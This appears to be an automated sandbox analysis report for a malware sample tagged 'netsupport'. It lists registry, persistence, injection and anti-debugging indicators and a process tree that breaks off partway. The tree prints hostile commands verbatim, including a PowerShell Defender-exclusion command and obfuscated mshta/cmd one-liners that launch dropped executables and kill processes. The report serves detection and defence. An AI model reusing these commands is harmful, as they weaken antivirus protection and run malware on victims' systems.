netsupport | 8fe6c86b038ce91a991fe6eb8a9b323bb37b554ff6b4e5c18de3fe52d4aedf6d

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	5866961.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	5866961.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	5664035.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	5664035.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PNQSsdFJvw.url	Adorarti.exe.com

Loads dropped DLL 14 IoCs

pid	Process
4572	setup_install.exe
4572	setup_install.exe
4572	setup_install.exe
4572	setup_install.exe
4572	setup_install.exe
4828	Thu214aaca5625.tmp
928	Thu21b93295136197.tmp
928	Thu21b93295136197.tmp
5528	rundll32.exe
5936	setup_2.tmp
1308	setup_2.tmp
2248	rundll32.exe
2884	stats.tmp
2884	stats.tmp

Themida packer 4 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral5/files/0x000200000002b1e8-318.dat	themida
behavioral5/files/0x000200000002b1e8-326.dat	themida
behavioral5/memory/5420-351-0x0000000000090000-0x0000000000091000-memory.dmp	themida
behavioral5/memory/5208-362-0x0000000000AA0000-0x0000000000AA1000-memory.dmp	themida

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe"	1673928.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce	tmpE411_tmp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	tmpE411_tmp.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	5866961.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	5664035.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
60	ipinfo.io
1	ipinfo.io
14	ip-api.com
22	ipinfo.io

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
5420	5866961.exe
5208	5664035.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2620 set thread context of 5948	2620	Adorarti.exe.com	183

Drops file in Program Files directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\SmartPDF\SmartPDF\Setup.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\SmartPDF\SmartPDF\Visit.url	Setup.exe
File created	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	setup_2.tmp
File created	C:\Program Files (x86)\FarLabUninstaller\is-324OK.tmp	setup_2.tmp
File opened for modification	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	setup_2.tmp

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\AppCompat\Programs\Amcache.hve.tmp.tmp	WerFault.exe
File created	C:\Windows\AppCompat\Programs\Amcache.hve.tmp	WerFault.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 14 IoCs

pid	pid_target	Process	procid_target
5284	2128	WerFault.exe	111
5652	860	WerFault.exe	90
5828	1392	WerFault.exe	113
5928	4476	WerFault.exe	106
2168	3928	WerFault.exe	114
1844	4176	WerFault.exe	145
1492	3052	WerFault.exe	158
1932	572	WerFault.exe	174
2808	5068	WerFault.exe	240
5280	2224	WerFault.exe	248
5932	908	WerFault.exe	278
2896	4300	WerFault.exe	283
4400	3700	WerFault.exe	268
2160	3436	WerFault.exe	332

Checks processor information in registry 2 TTPs 28 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
6044	schtasks.exe
4300	schtasks.exe

Enumerates system info in registry 2 TTPs 8 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe

Kills process with taskkill 2 IoCs

evasion

pid	Process
5416	taskkill.exe
2168	taskkill.exe

Modifies data under HKEY_USERS 40 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	sihclient.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	Setup.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
6032	PING.EXE
5484	PING.EXE

Script User-Agent 3 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	21	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	27	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	59	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 21 IoCs

pid	Process
4744	powershell.exe
4744	powershell.exe
4744	powershell.exe
5652	WerFault.exe
5652	WerFault.exe
5928	WerFault.exe
5928	WerFault.exe
5284	WerFault.exe
5284	WerFault.exe
5828	WerFault.exe
5828	WerFault.exe
1308	setup_2.tmp
1308	setup_2.tmp
5372	Setup.exe
5372	Setup.exe
5372	Setup.exe
5372	Setup.exe
5516	Chrome 5.exe
5516	Chrome 5.exe
2884	stats.tmp
2884	stats.tmp

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2620	Adorarti.exe.com

Suspicious behavior: SetClipboardViewer 1 IoCs

pid	Process
5504	WinHoster.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeCreateTokenPrivilege	2352	Thu21a1ef054cac78a.exe
Token: SeAssignPrimaryTokenPrivilege	2352	Thu21a1ef054cac78a.exe
Token: SeLockMemoryPrivilege	2352	Thu21a1ef054cac78a.exe
Token: SeIncreaseQuotaPrivilege	2352	Thu21a1ef054cac78a.exe
Token: SeMachineAccountPrivilege	2352	Thu21a1ef054cac78a.exe
Token: SeTcbPrivilege	2352	Thu21a1ef054cac78a.exe
Token: SeSecurityPrivilege	2352	Thu21a1ef054cac78a.exe
Token: SeTakeOwnershipPrivilege	2352	Thu21a1ef054cac78a.exe
Token: SeLoadDriverPrivilege	2352	Thu21a1ef054cac78a.exe
Token: SeSystemProfilePrivilege	2352	Thu21a1ef054cac78a.exe
Token: SeSystemtimePrivilege	2352	Thu21a1ef054cac78a.exe
Token: SeProfSingleProcessPrivilege	2352	Thu21a1ef054cac78a.exe
Token: SeIncBasePriorityPrivilege	2352	Thu21a1ef054cac78a.exe
Token: SeCreatePagefilePrivilege	2352	Thu21a1ef054cac78a.exe
Token: SeCreatePermanentPrivilege	2352	Thu21a1ef054cac78a.exe
Token: SeBackupPrivilege	2352	Thu21a1ef054cac78a.exe
Token: SeRestorePrivilege	2352	Thu21a1ef054cac78a.exe
Token: SeShutdownPrivilege	2352	Thu21a1ef054cac78a.exe
Token: SeDebugPrivilege	2352	Thu21a1ef054cac78a.exe
Token: SeAuditPrivilege	2352	Thu21a1ef054cac78a.exe
Token: SeSystemEnvironmentPrivilege	2352	Thu21a1ef054cac78a.exe
Token: SeChangeNotifyPrivilege	2352	Thu21a1ef054cac78a.exe
Token: SeRemoteShutdownPrivilege	2352	Thu21a1ef054cac78a.exe
Token: SeUndockPrivilege	2352	Thu21a1ef054cac78a.exe
Token: SeSyncAgentPrivilege	2352	Thu21a1ef054cac78a.exe
Token: SeEnableDelegationPrivilege	2352	Thu21a1ef054cac78a.exe
Token: SeManageVolumePrivilege	2352	Thu21a1ef054cac78a.exe
Token: SeImpersonatePrivilege	2352	Thu21a1ef054cac78a.exe
Token: SeCreateGlobalPrivilege	2352	Thu21a1ef054cac78a.exe
Token: 31	2352	Thu21a1ef054cac78a.exe
Token: 32	2352	Thu21a1ef054cac78a.exe
Token: 33	2352	Thu21a1ef054cac78a.exe
Token: 34	2352	Thu21a1ef054cac78a.exe
Token: 35	2352	Thu21a1ef054cac78a.exe
Token: SeDebugPrivilege	1808	Thu21568b0ab8.exe
Token: SeDebugPrivilege	4744	powershell.exe
Token: SeDebugPrivilege	836	Thu219d5fe8cf316.exe
Token: SeDebugPrivilege	2344	Thu2156de5489c19.exe
Token: SeDebugPrivilege	3928	6944135.exe
Token: SeDebugPrivilege	5776	PublicDwlBrowser1100.exe
Token: SeDebugPrivilege	5968	2.exe
Token: SeRestorePrivilege	5284	WerFault.exe
Token: SeBackupPrivilege	5284	WerFault.exe
Token: SeBackupPrivilege	5284	WerFault.exe
Token: SeRestorePrivilege	5928	WerFault.exe
Token: SeBackupPrivilege	5928	WerFault.exe
Token: SeRestorePrivilege	5828	WerFault.exe
Token: SeBackupPrivilege	5828	WerFault.exe
Token: SeRestorePrivilege	5828	WerFault.exe
Token: SeBackupPrivilege	5828	WerFault.exe
Token: SeRestorePrivilege	5928	WerFault.exe
Token: SeBackupPrivilege	5928	WerFault.exe
Token: SeRestorePrivilege	5828	WerFault.exe
Token: SeBackupPrivilege	5828	WerFault.exe
Token: SeRestorePrivilege	5928	WerFault.exe
Token: SeBackupPrivilege	5928	WerFault.exe
Token: SeRestorePrivilege	5828	WerFault.exe
Token: SeBackupPrivilege	5828	WerFault.exe
Token: SeRestorePrivilege	5928	WerFault.exe
Token: SeBackupPrivilege	5928	WerFault.exe
Token: SeRestorePrivilege	5928	WerFault.exe
Token: SeBackupPrivilege	5928	WerFault.exe
Token: SeRestorePrivilege	5928	WerFault.exe
Token: SeBackupPrivilege	5928	WerFault.exe

Suspicious use of FindShellTrayWindow 10 IoCs

pid	Process
928	Thu21b93295136197.tmp
5268	Adorarti.exe.com
5268	Adorarti.exe.com
5268	Adorarti.exe.com
5268	Adorarti.exe.com
2620	Adorarti.exe.com
2620	Adorarti.exe.com
2620	Adorarti.exe.com
1308	setup_2.tmp
2884	stats.tmp

Suspicious use of SendNotifyMessage 7 IoCs

pid	Process
5268	Adorarti.exe.com
5268	Adorarti.exe.com
5268	Adorarti.exe.com
5268	Adorarti.exe.com
2620	Adorarti.exe.com
2620	Adorarti.exe.com
2620	Adorarti.exe.com

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5080 wrote to memory of 4324	5080	setup_x86_x64_install.exe	79
PID 5080 wrote to memory of 4324	5080	setup_x86_x64_install.exe	79
PID 5080 wrote to memory of 4324	5080	setup_x86_x64_install.exe	79
PID 4324 wrote to memory of 4572	4324	setup_installer.exe	80
PID 4324 wrote to memory of 4572	4324	setup_installer.exe	80
PID 4324 wrote to memory of 4572	4324	setup_installer.exe	80
PID 4572 wrote to memory of 1104	4572	setup_install.exe	84
PID 4572 wrote to memory of 1104	4572	setup_install.exe	84
PID 4572 wrote to memory of 1104	4572	setup_install.exe	84
PID 4572 wrote to memory of 792	4572	setup_install.exe	85
PID 4572 wrote to memory of 792	4572	setup_install.exe	85
PID 4572 wrote to memory of 792	4572	setup_install.exe	85
PID 4572 wrote to memory of 5048	4572	setup_install.exe	86
PID 4572 wrote to memory of 5048	4572	setup_install.exe	86
PID 4572 wrote to memory of 5048	4572	setup_install.exe	86
PID 4572 wrote to memory of 3804	4572	setup_install.exe	94
PID 4572 wrote to memory of 3804	4572	setup_install.exe	94
PID 4572 wrote to memory of 3804	4572	setup_install.exe	94
PID 4572 wrote to memory of 4492	4572	setup_install.exe	87
PID 4572 wrote to memory of 4492	4572	setup_install.exe	87
PID 4572 wrote to memory of 4492	4572	setup_install.exe	87
PID 4572 wrote to memory of 2400	4572	setup_install.exe	88
PID 4572 wrote to memory of 2400	4572	setup_install.exe	88
PID 4572 wrote to memory of 2400	4572	setup_install.exe	88
PID 4572 wrote to memory of 4740	4572	setup_install.exe	93
PID 4572 wrote to memory of 4740	4572	setup_install.exe	93
PID 4572 wrote to memory of 4740	4572	setup_install.exe	93
PID 1104 wrote to memory of 4744	1104	cmd.exe	89
PID 1104 wrote to memory of 4744	1104	cmd.exe	89
PID 1104 wrote to memory of 4744	1104	cmd.exe	89
PID 4572 wrote to memory of 4812	4572	setup_install.exe	92
PID 4572 wrote to memory of 4812	4572	setup_install.exe	92
PID 4572 wrote to memory of 4812	4572	setup_install.exe	92
PID 792 wrote to memory of 836	792	cmd.exe	91
PID 792 wrote to memory of 836	792	cmd.exe	91
PID 5048 wrote to memory of 860	5048	cmd.exe	90
PID 5048 wrote to memory of 860	5048	cmd.exe	90
PID 5048 wrote to memory of 860	5048	cmd.exe	90
PID 4572 wrote to memory of 788	4572	setup_install.exe	95
PID 4572 wrote to memory of 788	4572	setup_install.exe	95
PID 4572 wrote to memory of 788	4572	setup_install.exe	95
PID 4572 wrote to memory of 1148	4572	setup_install.exe	96
PID 4572 wrote to memory of 1148	4572	setup_install.exe	96
PID 4572 wrote to memory of 1148	4572	setup_install.exe	96
PID 4572 wrote to memory of 1364	4572	setup_install.exe	100
PID 4572 wrote to memory of 1364	4572	setup_install.exe	100
PID 4572 wrote to memory of 1364	4572	setup_install.exe	100
PID 4572 wrote to memory of 1384	4572	setup_install.exe	97
PID 4572 wrote to memory of 1384	4572	setup_install.exe	97
PID 4572 wrote to memory of 1384	4572	setup_install.exe	97
PID 4572 wrote to memory of 1672	4572	setup_install.exe	98
PID 4572 wrote to memory of 1672	4572	setup_install.exe	98
PID 4572 wrote to memory of 1672	4572	setup_install.exe	98
PID 1672 wrote to memory of 3236	1672	cmd.exe	101
PID 1672 wrote to memory of 3236	1672	cmd.exe	101
PID 1672 wrote to memory of 3236	1672	cmd.exe	101
PID 4492 wrote to memory of 1392	4492	cmd.exe	113
PID 4492 wrote to memory of 1392	4492	cmd.exe	113
PID 4492 wrote to memory of 1392	4492	cmd.exe	113
PID 1384 wrote to memory of 1808	1384	cmd.exe	112
PID 1384 wrote to memory of 1808	1384	cmd.exe	112
PID 1364 wrote to memory of 1884	1364	cmd.exe	99
PID 1364 wrote to memory of 1884	1364	cmd.exe	99
PID 1364 wrote to memory of 1884	1364	cmd.exe	99

C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5080
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4324
- - C:\Users\Admin\AppData\Local\Temp\7zS4E01B0F3\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zS4E01B0F3\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:4572
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1104
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4744
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu219d5fe8cf316.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:792
    - - C:\Users\Admin\AppData\Local\Temp\7zS4E01B0F3\Thu219d5fe8cf316.exe
        
        Thu219d5fe8cf316.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:836
      - C:\ProgramData\6944135.exe
        
        "C:\ProgramData\6944135.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3928
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 3928 -s 2324
        7⤵
        Program crash
        
        PID:2168
      - C:\ProgramData\1673928.exe
        
        "C:\ProgramData\1673928.exe"
        6⤵
        Executes dropped EXE
        Adds Run key to start application
        
        PID:1568
        
        C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
        
        "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
        7⤵
        Executes dropped EXE
        Suspicious behavior: SetClipboardViewer
        
        PID:5504
      - C:\ProgramData\5866961.exe
        
        "C:\ProgramData\5866961.exe"
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:5420
      - C:\ProgramData\4042350.exe
        
        "C:\ProgramData\4042350.exe"
        6⤵
        Executes dropped EXE
        
        PID:5848
      - C:\ProgramData\5664035.exe
        
        "C:\ProgramData\5664035.exe"
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:5208
      - C:\ProgramData\375792.exe
        
        "C:\ProgramData\375792.exe"
        6⤵
        Executes dropped EXE
        
        PID:6088
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vBSCRIPT: cLOsE(creatEoBjECT ( "wScRiPt.shELl"). RuN ("CMD /c TypE ""C:\ProgramData\375792.exe"" > gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if """" =="""" for %B iN ( ""C:\ProgramData\375792.exe"" ) do taskkill /Im ""%~NxB"" /F " ,0 , tRUe) )
        7⤵
        
        PID:2764
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c TypE "C:\ProgramData\375792.exe"> gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if "" =="" for %B iN ( "C:\ProgramData\375792.exe" ) do taskkill /Im "%~NxB" /F
        8⤵
        
        PID:3540
        
        C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE
        
        GZ9~4QZ~O.EXe -P6_oIH__Ioj5q
        9⤵
        Executes dropped EXE
        
        PID:1032
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vBSCRIPT: cLOsE(creatEoBjECT ( "wScRiPt.shELl"). RuN ("CMD /c TypE ""C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE"" > gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if ""-P6_oIH__Ioj5q "" =="""" for %B iN ( ""C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE"" ) do taskkill /Im ""%~NxB"" /F " ,0 , tRUe) )
        10⤵
        
        PID:4748
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c TypE "C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE"> gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if "-P6_oIH__Ioj5q " =="" for %B iN ( "C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE" ) do taskkill /Im "%~NxB" /F
        11⤵
        
        PID:5880
        
        C:\Windows\SysWOW64\regsvr32.exe
        
        "C:\Windows\System32\regsvr32.exe" T~DJNB.F -u /S
        10⤵
        
        PID:5528
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /Im "375792.exe" /F
        9⤵
        Kills process with taskkill
        
        PID:5416
      - C:\ProgramData\783529.exe
        
        "C:\ProgramData\783529.exe"
        6⤵
        Executes dropped EXE
        
        PID:3052
        
        C:\Windows\SysWOW64\WerFault.exe
        
